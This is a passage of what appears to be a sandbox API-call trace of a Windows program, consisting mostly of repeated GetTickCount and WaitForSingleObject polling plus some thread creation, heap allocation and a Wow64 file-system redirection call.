returned 0x114b24f [0245.749] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0246.609] GetTickCount () returned 0x114b5a9 [0246.609] GetTickCount () returned 0x114b5a9 [0246.609] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0247.023] GetTickCount () returned 0x114b74e [0247.023] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0247.530] GetTickCount () returned 0x114b942 [0247.530] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0247.716] GetTickCount () returned 0x114b9fd [0247.716] GetTickCount () returned 0x114b9fd [0247.717] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0248.363] GetTickCount () returned 0x114bc8c [0248.363] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0248.838] GetTickCount () returned 0x114be60 [0248.838] GetTickCount () returned 0x114be60 [0248.838] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0249.176] GetTickCount () returned 0x114bfb7 [0249.176] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0251.923] GetTickCount () returned 0x114c1e9 [0251.923] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0252.391] GetTickCount () returned 0x114c3bd [0252.391] GetTickCount () returned 0x114c3bd [0252.391] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0252.948] GetTickCount () returned 0x114c5ee [0252.948] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0254.576] GetTickCount () returned 0x114cc45 [0254.576] GetTickCount () returned 0x114cc45 [0254.577] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0255.787] GetTickCount () returned 0x114d106 [0255.787] GetTickCount () returned 0x114d106 [0255.788] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0256.502] GetTickCount () returned 0x114d3c4 [0256.502] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0256.774] GetTickCount () returned 0x114d4dc [0256.774] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0257.163] GetTickCount () returned 0x114d662 [0257.163] GetTickCount () returned 0x114d662 [0257.163] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0257.547] GetTickCount () returned 0x114d7d9 [0257.547] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0257.928] GetTickCount () returned 0x114d95f [0257.928] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0258.316] GetTickCount () returned 0x114dae5 [0258.316] GetTickCount () returned 0x114dae5 [0258.316] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0258.804] GetTickCount () returned 0x114dcc8 [0258.804] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0259.179] GetTickCount () returned 0x114de3f [0259.179] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0259.442] GetTickCount () returned 0x114df48 [0259.442] GetTickCount () returned 0x114df48 [0259.443] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0259.777] GetTickCount () returned 0x114e090 [0259.777] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0259.926] GetTickCount () returned 0x114e12c [0259.926] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0260.437] GetTickCount () returned 0x114e32e [0260.438] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0260.799] GetTickCount () returned 0x114e495 [0260.799] GetTickCount () returned 0x114e495 [0260.799] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0261.240] GetTickCount () returned 0x114e64a [0261.240] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0261.858] GetTickCount () returned 0x114e8ba [0261.858] GetTickCount () returned 0x114e8ba [0261.858] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0262.252] GetTickCount () returned 0x114ea40 [0262.252] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0262.856] GetTickCount () returned 0x114eca0 [0262.856] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0264.059] GetTickCount () returned 0x114f152 [0264.059] GetTickCount () returned 0x114f152 [0264.059] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0264.268] GetTickCount () returned 0x114f21c [0264.268] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0264.978] GetTickCount () returned 0x114f4ea [0264.978] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0265.233] GetTickCount () returned 0x114f5e4 [0265.233] GetTickCount () returned 0x114f5e4 [0265.233] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0265.594] GetTickCount () returned 0x114f74a [0265.594] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0265.729] GetTickCount () returned 0x114f7d7 [0265.730] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0266.052] GetTickCount () returned 0x114f91e [0266.052] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0266.396] GetTickCount () returned 0x114fa76 [0266.396] GetTickCount () returned 0x114fa76 [0266.396] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0266.836] GetTickCount () returned 0x114fc2a [0266.836] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0267.073] GetTickCount () returned 0x114fd14 [0267.073] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0267.753] GetTickCount () returned 0x114ffc3 [0267.753] GetTickCount () returned 0x114ffc3 [0267.753] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0268.492] GetTickCount () returned 0x11502a0 [0268.492] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0269.407] GetTickCount () returned 0x1150638 [0269.407] GetTickCount () returned 0x1150638 [0269.407] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0269.821] GetTickCount () returned 0x11507ce [0269.821] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0270.446] GetTickCount () returned 0x1150a2f [0270.446] GetTickCount () returned 0x1150a2f [0270.447] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0270.728] GetTickCount () returned 0x1150b47 [0270.728] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0271.071] GetTickCount () returned 0x1150c9f [0271.072] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0271.284] GetTickCount () returned 0x1150d79 [0271.284] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0271.471] GetTickCount () returned 0x1150e34 [0271.471] GetTickCount () returned 0x1150e34 [0271.471] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0271.673] GetTickCount () returned 0x1150eff [0271.673] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0272.123] GetTickCount () returned 0x11510c3 [0272.123] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) returned 0x102 [0272.523] GetTickCount () returned 0x1151249 [0272.523] GetTickCount () returned 0x1151249 [0272.523] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x64) Thread: id = 64 os_tid = 0x638 [0193.453] GetTickCount () returned 0x113e7d0 [0193.453] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8d3eb8 [0193.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d3eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190 [0193.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d3eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198 [0193.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d3eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0 [0193.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d3eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8 [0193.478] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4ac0 [0193.478] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4ac0, Size=0x20) returned 0x8d30f8 [0193.478] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4ac0 [0193.478] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4ac0, Size=0x20) returned 0x8d3170 [0193.478] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.478] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.478] Wow64DisableWow64FsRedirection (in: OldValue=0x2b0ff84 | out: OldValue=0x2b0ff84*=0x0) returned 1 [0193.479] lstrlenW (lpString="kernel32.dll") returned 12 [0193.479] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d30f8 | out: hHeap=0x880000) returned 1 [0193.479] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.479] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3170 | out: hHeap=0x880000) returned 1 [0193.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x9205d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0 [0193.482] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0193.750] GetTickCount () returned 0x113e8f8 [0193.750] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0194.574] GetTickCount () returned 0x113ec33 [0194.574] GetTickCount () returned 0x113ec33 [0194.574] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0195.058] GetTickCount () returned 0x113ee17 [0195.058] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0196.290] GetTickCount () returned 0x113f2e7 [0196.291] GetTickCount () returned 0x113f2e7 [0196.291] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0196.867] GetTickCount () returned 0x113f528 [0196.867] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0198.094] GetTickCount () returned 0x113f9f9 [0198.094] GetTickCount () returned 0x113f9f9 [0198.094] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0198.765] GetTickCount () returned 0x113fc98 [0198.765] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0199.425] GetTickCount () returned 0x113ff27 [0199.425] GetTickCount () returned 0x113ff27 [0199.425] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0200.574] GetTickCount () returned 0x11403a9 [0200.574] GetTickCount () returned 0x11403a9 [0200.574] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0201.129] GetTickCount () returned 0x11405cb [0201.130] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0201.699] GetTickCount () returned 0x114080c [0201.699] GetTickCount () returned 0x114080c [0201.699] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0202.013] GetTickCount () returned 0x1140944 [0202.013] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0202.477] GetTickCount () returned 0x1140b18 [0202.477] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0202.917] GetTickCount () returned 0x1140ccd [0202.917] GetTickCount () returned 0x1140ccd [0202.917] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0203.459] GetTickCount () returned 0x1140eef [0203.459] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0203.671] GetTickCount () returned 0x1140fba [0203.671] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0204.013] GetTickCount () returned 0x1141111 [0204.013] GetTickCount () returned 0x1141111 [0204.013] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0205.568] GetTickCount () returned 0x1141729 [0205.568] GetTickCount () returned 0x1141729 [0205.569] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0206.461] GetTickCount () returned 0x1141aa3 [0206.461] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0206.850] GetTickCount () returned 0x1141c29 [0206.850] GetTickCount () returned 0x1141c29 [0206.850] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0207.220] GetTickCount () returned 0x1141d9f [0207.220] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0207.557] GetTickCount () returned 0x1141ee7 [0207.557] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0208.055] GetTickCount () returned 0x11420da [0208.055] GetTickCount () returned 0x11420da [0208.055] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0208.760] GetTickCount () returned 0x1142398 [0208.760] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0209.606] GetTickCount () returned 0x11426f2 [0209.606] GetTickCount () returned 0x11426f2 [0209.606] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0210.298] GetTickCount () returned 0x11428f5 [0210.298] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0210.876] GetTickCount () returned 0x1142b36 [0210.876] GetTickCount () returned 0x1142b36 [0210.876] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0211.129] GetTickCount () returned 0x1142c2f [0211.129] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0211.516] GetTickCount () returned 0x1142db5 [0211.516] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0211.827] GetTickCount () returned 0x1142ece [0211.827] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0212.289] GetTickCount () returned 0x11430a2 [0212.289] GetTickCount () returned 0x11430a2 [0212.289] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0212.682] GetTickCount () returned 0x1143219 [0212.682] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0212.936] GetTickCount () returned 0x1143312 [0212.936] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0213.186] GetTickCount () returned 0x11433fc [0213.187] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0213.408] GetTickCount () returned 0x11434d7 [0213.409] GetTickCount () returned 0x11434d7 [0213.409] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0213.617] GetTickCount () returned 0x11435a1 [0213.617] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0214.317] GetTickCount () returned 0x1143850 [0214.317] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0214.937] GetTickCount () returned 0x1143ab0 [0214.937] GetTickCount () returned 0x1143ab0 [0214.937] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0215.431] GetTickCount () returned 0x1143c84 [0215.431] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0215.873] GetTickCount () returned 0x1143e39 [0215.874] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0216.378] GetTickCount () returned 0x114401d [0216.378] GetTickCount () returned 0x114401d [0216.378] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0216.804] GetTickCount () returned 0x11441b2 [0216.804] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0217.273] GetTickCount () returned 0x1144377 [0217.273] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0217.565] GetTickCount () returned 0x114448f [0217.565] GetTickCount () returned 0x114448f [0217.565] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0217.946] GetTickCount () returned 0x11445f6 [0217.947] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0218.392] GetTickCount () returned 0x11447ab [0218.392] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0218.840] GetTickCount () returned 0x1144960 [0218.840] GetTickCount () returned 0x1144960 [0218.840] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0219.200] GetTickCount () returned 0x1144ab7 [0219.200] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0219.654] GetTickCount () returned 0x1144c6c [0219.654] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0220.025] GetTickCount () returned 0x1144de2 [0220.025] GetTickCount () returned 0x1144de2 [0220.025] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0220.322] GetTickCount () returned 0x1144f0b [0220.322] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0220.502] GetTickCount () returned 0x1144fc6 [0220.502] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0220.739] GetTickCount () returned 0x11450b0 [0220.739] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0221.280] GetTickCount () returned 0x11452d2 [0221.280] GetTickCount () returned 0x11452d2 [0221.280] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0221.683] GetTickCount () returned 0x1145458 [0221.683] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0221.969] GetTickCount () returned 0x1145580 [0221.969] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0223.575] GetTickCount () returned 0x1145bc7 [0223.575] GetTickCount () returned 0x1145bc7 [0223.575] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0225.603] GetTickCount () returned 0x11463b3 [0225.603] GetTickCount () returned 0x11463b3 [0225.603] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0225.996] GetTickCount () returned 0x1146539 [0225.996] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0226.202] GetTickCount () returned 0x1146604 [0226.202] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0226.324] GetTickCount () returned 0x1146681 [0226.324] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0226.682] GetTickCount () returned 0x11467e7 [0226.682] GetTickCount () returned 0x11467e7 [0226.682] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0227.154] GetTickCount () returned 0x11469bb [0227.154] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0227.428] GetTickCount () returned 0x1146ad4 [0227.429] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0227.627] GetTickCount () returned 0x1146b8f [0227.627] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0227.793] GetTickCount () returned 0x1146c3b [0227.793] GetTickCount () returned 0x1146c3b [0227.793] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0228.082] GetTickCount () returned 0x1146d63 [0228.082] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0228.350] GetTickCount () returned 0x1146e6d [0228.350] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0228.546] GetTickCount () returned 0x1146f28 [0228.546] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0228.876] GetTickCount () returned 0x114707f [0228.876] GetTickCount () returned 0x114707f [0228.876] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0229.049] GetTickCount () returned 0x114712b [0229.049] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0229.481] GetTickCount () returned 0x11472d0 [0229.481] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0230.043] GetTickCount () returned 0x1147501 [0230.044] GetTickCount () returned 0x1147501 [0230.044] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0230.270] GetTickCount () returned 0x11475eb [0230.271] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0230.504] GetTickCount () returned 0x11476d5 [0230.504] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0230.886] GetTickCount () returned 0x114784c [0230.887] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0230.986] GetTickCount () returned 0x11478b9 [0230.986] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0231.256] GetTickCount () returned 0x11479c2 [0231.256] GetTickCount () returned 0x11479c2 [0231.256] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0231.432] GetTickCount () returned 0x1147a6e [0231.432] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0231.596] GetTickCount () returned 0x1147b19 [0231.596] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0232.040] GetTickCount () returned 0x1147cce [0232.040] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0232.419] GetTickCount () returned 0x1147e54 [0232.419] GetTickCount () returned 0x1147e54 [0232.419] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0232.833] GetTickCount () returned 0x1147fea [0232.833] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0233.034] GetTickCount () returned 0x11480b5 [0233.034] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0233.175] GetTickCount () returned 0x1148141 [0233.175] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0233.761] GetTickCount () returned 0x1148392 [0233.761] GetTickCount () returned 0x1148392 [0233.761] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0234.735] GetTickCount () returned 0x1148759 [0234.735] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0234.849] GetTickCount () returned 0x11487c6 [0234.849] GetTickCount () returned 0x11487c6 [0234.849] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0235.575] GetTickCount () returned 0x1148aa3 [0235.575] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0236.069] GetTickCount () returned 0x1148c97 [0236.069] GetTickCount () returned 0x1148c97 [0236.069] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0236.538] GetTickCount () returned 0x1148e6b [0236.538] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0236.835] GetTickCount () returned 0x1148f93 [0236.835] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0237.598] GetTickCount () returned 0x1149290 [0237.598] GetTickCount () returned 0x1149290 [0237.598] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0238.057] GetTickCount () returned 0x1149454 [0238.057] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0238.707] GetTickCount () returned 0x11496e3 [0238.707] GetTickCount () returned 0x11496e3 [0238.707] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0238.850] GetTickCount () returned 0x1149770 [0238.850] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0239.276] GetTickCount () returned 0x1149915 [0239.276] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0239.536] GetTickCount () returned 0x1149a0e [0239.536] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0239.876] GetTickCount () returned 0x1149b66 [0239.876] GetTickCount () returned 0x1149b66 [0239.876] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0240.117] GetTickCount () returned 0x1149c50 [0240.117] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0240.566] GetTickCount () returned 0x1149e14 [0240.566] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0241.451] GetTickCount () returned 0x114a18d [0241.451] GetTickCount () returned 0x114a18d [0241.451] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0241.961] GetTickCount () returned 0x114a380 [0241.961] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0242.196] GetTickCount () returned 0x114a46a [0242.196] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0242.576] GetTickCount () returned 0x114a5f0 [0242.576] GetTickCount () returned 0x114a5f0 [0242.576] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0243.104] GetTickCount () returned 0x114a803 [0243.104] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0243.836] GetTickCount () returned 0x114aad0 [0243.836] GetTickCount () returned 0x114aae0 [0243.837] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0244.227] GetTickCount () returned 0x114ac66 [0244.227] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0244.587] GetTickCount () returned 0x114adcd [0244.587] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0245.420] GetTickCount () returned 0x114b108 [0245.421] GetTickCount () returned 0x114b108 [0245.421] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0245.748] GetTickCount () returned 0x114b24f [0245.748] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0246.609] GetTickCount () returned 0x114b5a9 [0246.609] GetTickCount () returned 0x114b5a9 [0246.609] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0247.023] GetTickCount () returned 0x114b74e [0247.023] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0247.530] GetTickCount () returned 0x114b942 [0247.530] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0247.717] GetTickCount () returned 0x114b9fd [0247.717] GetTickCount () returned 0x114b9fd [0247.717] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0248.366] GetTickCount () returned 0x114bc8c [0248.366] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0248.838] GetTickCount () returned 0x114be60 [0248.838] GetTickCount () returned 0x114be60 [0248.839] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0249.177] GetTickCount () returned 0x114bfb7 [0249.177] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0251.923] GetTickCount () returned 0x114c1e9 [0251.924] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0252.392] GetTickCount () returned 0x114c3bd [0252.392] GetTickCount () returned 0x114c3bd [0252.392] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0252.949] GetTickCount () returned 0x114c5ee [0252.949] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0254.576] GetTickCount () returned 0x114cc45 [0254.576] GetTickCount () returned 0x114cc45 [0254.576] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0255.787] GetTickCount () returned 0x114d106 [0255.787] GetTickCount () returned 0x114d106 [0255.787] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0256.502] GetTickCount () returned 0x114d3c4 [0256.502] WaitForSingleObject 